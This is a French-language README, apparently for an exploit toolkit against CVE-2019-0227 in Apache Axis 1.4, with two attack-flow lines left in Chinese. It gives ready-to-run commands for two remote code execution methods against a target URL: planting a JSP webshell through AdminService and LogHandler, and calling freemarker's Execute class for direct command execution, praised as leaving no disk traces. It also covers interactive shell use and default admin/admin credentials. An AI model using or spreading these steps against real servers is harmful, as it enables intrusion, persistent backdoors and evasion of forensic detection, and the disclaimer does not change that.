Axis1.4 CVE-2019-0227 Outil d'exploitation de vulnérabilité d'exécution de commandes à distance

📖 Description de la vulnérabilité

Une vulnérabilité d'exécution de commandes à distance (CVE-2019-0227) existe dans Apache Axis 1.4. Lorsque la propriété enableRemoteAdmin est définie sur true, un attaquant peut déployer un service malveillant via l'interface AdminService, permettant d'exécuter des commandes système arbitraires sur le serveur cible.

Versions affectées : Apache Axis ≤ 1.4

Condition de déclenchement : enableRemoteAdmin défini sur true

🎯 Deux méthodes d'exploitation

🚀 Démarrage rapide

Méthode 1 : Via JSP Webshell

cd jsp-webshell
python3 axis_exp.py -u http://target.com:8080/axis/ -c "whoami"

Méthode 2 : Exécution directe via Freemarker

cd freemarker-exec
python3 axis_freemarker_exp.py -u http://target.com:8080/axis/ -c "whoami"

📦 Installation des dépendances

pip install requests urllib3

📁 Structure du répertoire

Axis1.4-CVE-2019-0227/
├── README.md
├── jsp-webshell/
│   ├── axis_exp.py
│   └── README.md
└── freemarker-exec/
    ├── axis_freemarker_exp.py
    └── README.md

⚠️ Avertissement légal

Cet outil est destiné uniquement à la recherche en sécurité et aux tests autorisés. L'utilisation non autorisée de cet outil pour attaquer un système cible est illégale. L'utilisateur assume l'entière responsabilité juridique.

📄 Licence

Licence MIT

Script d'exploitation Axis1.4 CVE-2019-0227 - Méthode JSP Webshell

Principe

Déploie un service malveillant via Axis AdminService, utilise LogHandler pour écrire un JSP Webshell, puis exécute des commandes via des requêtes GET.

Déroulement de l'attaque

部署恶意服务 → LogHandler 写入 shell.jsp → GET 请求执行命令

Utilisation

# Exécuter une commande unique
python3 axis_exp.py -u http://localhost:8080/axis/ -c "whoami"

# Shell interactif
python3 axis_exp.py -u http://localhost:8080/axis/ -i

# Avec authentification
python3 axis_exp.py -u http://localhost:8080/axis/ -U admin -P admin -i

Paramètres

Caractéristiques

• ✅ Forte polyvalence, ne dépend d'aucun composant supplémentaire
• ❌ Laisse un fichier webshell

Script d'exploitation Axis1.4 CVE-2019-0227 - Méthode d'exécution directe Freemarker

Principe

Déploie un service pointant vers la classe freemarker.template.utility.Execute via Axis AdminService, appelle directement sa méthode exec pour exécuter des commandes système, sans écrire aucun fichier.

Déroulement de l'attaque

部署 Execute 服务 → 直接调用 exec 方法 → 命令执行结果通过 SOAP 响应返回

Prérequis

• Le fichier freemarker.jar doit être présent dans le répertoire WEB-INF/lib/ de l'environnement Axis cible (fourni par défaut avec Axis 1.4)

Utilisation

# Exécuter une commande unique
python3 axis_freemarker_exp.py -u http://localhost:8080/axis/ -c "whoami"

# Shell interactif
python3 axis_freemarker_exp.py -u http://localhost:8080/axis/ -i

# Avec authentification
python3 axis_freemarker_exp.py -u http://localhost:8080/axis/ -U admin -P admin -i

Paramètres

Caractéristiques

• ✅ N'écrit aucun fichier, aucune trace sur le disque
• ✅ Plus discret, seulement des traces dans les logs
• ⚠️ Nécessite la présence de freemarker.jar sur la cible